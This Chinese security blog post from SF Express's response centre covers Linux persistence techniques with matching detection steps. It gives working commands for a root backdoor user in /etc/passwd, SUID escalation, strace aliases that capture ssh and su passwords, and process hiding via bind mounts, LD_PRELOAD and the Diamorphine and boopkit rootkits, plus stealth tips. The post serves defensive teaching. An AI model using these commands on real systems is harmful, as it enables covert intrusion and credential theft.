攻防技术分享之Linux持久化对抗

百家 作者:顺丰安全应急响应中心 2023-02-16 17:50:00

【前言】

    Linux后门的持久化方式一般是通过修改系统配置文件或安装第三方后门工具等方式来实现,具有隐蔽性,能绕开系统日志,不易被系统管理员发现等特点。

    本篇主要以攻击者的角度来分析如何利用Linux后门实现持久化,再以防守者的角度来分享如何发现排查此类Linux后门。感兴趣的师傅,可以往下开启本文内容。



添加root权限后门用户

1

操作

perl -e 'print crypt("sftech", "AA"). "\n"'


需要使用root用户,sudo命令也不行

echo "backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash">>/etc/passwd


    登陆后为root权限用户,如果需要ssh远程登陆需要打开允许root权限账号登陆选项。

2

排查

检查/etc/passwd文件是否有异常


suid权限提权

1

suid权限简介

  1. SUID权限只能设置二进制文件。

  2. 命令执行者要有二进制文件的执行权。

  3. 命令执行者执行二进制文件时会获得该程序的属主身份。

  4. SUID权限只在程序执行过程中有效。

    即如果root给一个程序赋予了SUID权限,则普通用户在执行该程序过程中,是root权限。

2

操作

赋予suid权限

chmod u+s /usr/bin/cp


    使用find命令寻找具有suid权限的二进制文件,拥有SUID权限的程序会从rwx变成rws。

find / -perm -u=s -type f 2>/dev/null


    cp在普通用户运行时具有root权限,所以可以使用cp命令操作/etc/passwd命令从而提权。


将/etc/passwd复制到普通用户的桌面


    此时复制到桌面上的passwd文件还是root用户所有,普通用户为只读,这个时候可以直接进入文件,复制所有信息,再新建一个文件,这样就能够通过普通用户权限修改了。


生成一个加密的账号密码


再添加一个passwd形式的用户


最后使用

cp passwd /etc/passwd

将修改后的passwd文件覆盖原文件即可


    使用其他具有suid权限的程序也可以达到提权的目的。


find

    find的exec参数用来指定其它命令,以便于来处理搜到的结果。结果的输出,需要以分号来结束,在bash环境中分号代表代码块结束,有特殊意义,所以这里需要进行转义。


vim

    vim拥有suid权限,可以通过vim编辑etc/sudoers文件(普通用户会被直接拒绝访问),在sudoers文件中配置普通用户的权限,权限和root一样,添加如下内容:

test ALL=(ALL:ALL) ALL


    vim编辑后保存时用wq!强制保存,vim运行时虽然是root权限,但wq依然会提示只读。


    随后test用户下sudo -l输入密码再sudo bash就会获取一个root的shell。


脚本

    普通用户执行一个生成bash的脚本,并且此脚本有suid权限,则会返回一个root权限的shell。

3

排查

使用find命令搜索拥有suid权限的异常命令

find / -perm -u=s -type f 2>/dev/null


strace记录ssh登录密码

1

操作

alias命令

    用于给一串命令取别名,常见的ll即是使用alias创建的别名命令,实际命令为ls -lt,创建语句为

alias ll='ls -lt'

使用alias -l查看全部的alias创建的别名


strace命令

    strace 命令是一个集诊断、调试、统计于一体的工具,我们可以使用 strace 对程序的系统调用和信号传递的跟踪结果来对程序进行分析,以达到解决问题或者是了解程序工作过程的目的。


    以下命令指的是通过alias命令创建一个命令别名,别名为ssh,具体用处为用户使用ssh命令是,会通过strace记录ssh进程中read、write、connect这三个系统调用的执行情况,并将执行记录记录到/tmp/sshpwd-date.log文件中。

alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'


查看生成的日志

    connect系统调用记录了ssh命令的端口、目的地址


read系统调用会记录/etc/passwd文件

write系统调用显示目的端的信息:

read系统调用记录用户输入的密码:


从而记录下用户使用ssh命令记录的密码


也可记录 su密码,流程如上,添加su的别名即可。

alias su='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 su'

    alias命令只作用于当次登入的操作。如果想每次登入都能使用这些命令的别名,则可以把相应的alias命令存放在 ~/.bashrc 文件或~/.bash_profile中。

2

排查

    通过排查shell的环境变量配置文件或者alias -l命令即可发现,例如~/.bashrc和~/.bash_profile文件查看是否有恶意的alias问题。


mount-bind硬链接实现

进程和端口信息隐匿

1

操作

    使用mount --bind命令将一个空目录绑定到/proc/pid目录,可以实现进程命令、pid和端口信息隐藏


绑定前:

创建一个bash反弹进程


    此时可以使用netstat -antlp | grep EST 观察到网络异常


使用lsof -i:57138可以查看到端口信息


使用lsof -p 95469可以查看到进程信息


使用以下命令可以查看到进程信息

ps -ef |grep 95469


    使用以下命令,将创建的一个空文件夹/root/null硬链接到/proc/95469目录

mount --bind /root/null /proc/95469


这时再次使用上述常规命令检查反弹进程:


netstat命令显示不出pid和进程名


lsof -i:57318无法得到端口信息


ps -ef无法得到进程信息


lsof -p无法得到进程信息


top命令无法得到进程信息

2

排查

    看到异常网络连接但是没有具体的pid和进程名,可以尝试以下方法确认是否使用上述隐藏方法。


1、检查/proc/目录是否有异常大小的pid目录

ll /proc/

    正常的pid目录是0大小,如果发现大小不为0的pid目录,则有可能此目录被硬链接。


2、查看当前shell进程的mountinfo

cat /proc/$$/mountinfo

$$ 表示当前shell进程的进程ID


    此命令查看当前shell进程的关于mount的信息,可以观察mount的信息确认是否有异常


    圈起来的这一行表示,/root/null目录被硬链接到/proc/95469目录


再次查看/root/null目录


    大小为4096,和之前查看的pid目录大小一致,至此大概率可以确定就是/root/null目录被硬链接到/proc/95469目录。


3、cat /proc/mounts(内核提供, 不易蒙骗)

    此命令与第二条命令显示结果一样,只是这条命令是内核提供的信息,不易被修改,更可信一些。


4、mount命令

    直接使用mount命令也可以看到目录挂载信息,但是mount命令是获取/etc/mtab 的内容,容易被更改。


更改方式:

    在挂载目录前,将原先的/etc/mtab复制一份,挂载后再复制回去即可绕过mount命令(此方式对高版本内核无效)

cp /etc/mtab .mount —bind /root/null /proc/[pid]mv . /etc/mtab

3

恢复

取消pid目录的挂载

umount /proc/pid


预加载型动态链接库rookit

1、项目地址

https://github.com/gianlucaborello/libprocesshider


2、编译

gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl

1

预加载方式一

使用LD_PRELOAD环境变量

先启动恶意进程


    执行processhider.c文件中process_to_filter参数指定了进程名的evil_script.py,不能使用python执行,不然进程名会变为python。


此时使用ps命令,能够正常看到恶意进程


    之后将之前编译的动态库文件路径/usr/local/lib/libprocesshider.so文件路径设置为环境变量LD_PRELOAD的值,将环境变量加到/etc/profile中(这是永久所有用户添加,也可以添加临时环境变量)


使用source /etc/profile使更改生效

检查是否生效:


此时再通过ps 命令查看进程已被隐藏


使用lsof查看pid同样无法查询

2

预加载方式二

添加动态库路径到/etc/ld.so.preload


    将之前的环境变量删除(echo $LD_PRELOAD检查是否成功删除)


将动态库路径添加到/etc/ld.so.preload


进程被隐藏

3

原理

    /etc/ld.so.preload文件和LD_PRELOAD环境变量中包含的动态链接库拥有最高的加载优先级。

4

排查

1、检查是否设置LD_PRELOAD环境变量和/etc/ld.so.preload文件内容。


2、使用strace命令跟踪ps命令调用栈。

strace -f ps 2>&1 | more (跟踪由fork、vfork、clone调用产生的子进程)

或是

strace -eopen ps 2>&1 | more (查看进程打开了那些文件)


3、busybox

busybox ps

    下载编译好的对应平台版本的busybox,因为busybox是静态编译的,不依赖于系统的动态链接库,busybox的使用类似如下 busybox ls,busybox ps -a。


4、ldd

    使用ldd查看任一程序的加载库,可以发现所有程序的加载库第一个就是我们添加的库。


内核级rootkit(LKM型)

项目地址:

https://github.com/m0nad/Diamorphine


    适用内核版本:kernel is 2.6.x/3.x/4.x/5.x编译后载入内核模块

insmod diamorphine.ko

1

使用方法

1、隐藏进程

kill -31 pid


执行一次是隐藏,再执行一次是取消隐藏

    隐藏之后,ps、lsof、proc都找不到隐藏的进程。


2、隐藏模块

    模块刚载入的时候它是自动隐藏的,需要使用kill -63 0信号将它显示出来就能看到。


3、隐藏文件、目录

以diamorphine_secret开头的文件或目录都会隐藏


使用find、ls -al等命令无法找到


4、提权

对当前bash执行:

kill -64 随便一个数字

2

原理

1、系统调用表替换系统调用

    获取到系统调用表,将getdents、gentdents64、kill这3个系统调用换成自定义的系统调用逻辑


2、替换getdents系统调用

    遇到MAGIC_PREFIX开头的文件名或者指定了隐藏进程的proc目录,就跳过这一项不返回。


3、替换kill系统调用

3个case分别指三种信号:

  • SIGINVIS:31(隐藏进程)

  • SIGSUPER:64(提权)

  • SIGMODINVIS:63(隐藏模块)


4、提权方法

提权需要在内核空间中使用commit_creds函数。


    cred结构体用于记录进程的uid。修改当前进程的cred,从而提升权限。

3

排查

1、使用unhide工具

centos安装

sudo yum install unhide


    隐藏正在使用shell进程,使用echo $$打印shell进程id,ps查看进程信息


    使用kill -31 pid命令对进程进行隐藏,隐藏后ps命令无法找到进程


    使用unhide proc命令检查隐藏进程,成功找到


2、使用ebpf工具tracee查看

使用工具docker镜像

docker run --name tracee --rm -it --pid=host --cgroupns=host --privileged -v /etc/os-release:/etc/os-release-host:ro -e LIBBPFGO_OSRELEASE_FILE=/etc/os-release-host aquasec/tracee:0.10.0


内核级rootkit(ebpf型)

1

简介

项目地址:

https://github.com/kris-nova/boopkit


    类似bvp47后门的功能,后门不主动监听端口,而是通过观察内核中的数据包决定是否做出反应,需要构造特定的数据包进行敲门,后门才会启动。后门启动后通过hook getdents系统调用隐藏进程。

2

演示

服务端开启rootkit,选择监听网卡

boopkit -i ens160



使用ps、top、lsof无法查看到进程信息


客户端启动


设置启动脚本


    启动后服务端反弹回shell,随便选择一个服务端的tcp端口发送敲门数据包,这里选择sshd服务的22端口


客户端抓包,查看构造的敲门流量


优化点

1、走的函数hook方式,可以选择走eBPF XDP方式,可在进入协议栈之前拿到数据包,可以做到读取数据包后,直接XDP_DROP掉,抓包就抓不到了。后门的隐蔽性更强。

2、反弹shell的时候需要创建进程,虽然隐藏了pid,但是如果通过使用其他进程的连接执行shell或者隐藏执行的shell,隐蔽性会更强。


检查

1、bpftool工具检查

sudo bpftool prog show



    可以查看到这个rootkit hook的系统调用和内核函数。


    至此,已结束了本篇文章的所有分享,感谢大家有兴趣且有耐心地读完了。如果还有不懂的问题可在评论区留下你的问题,我们会针对性地挑选问题进行解答哦。



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接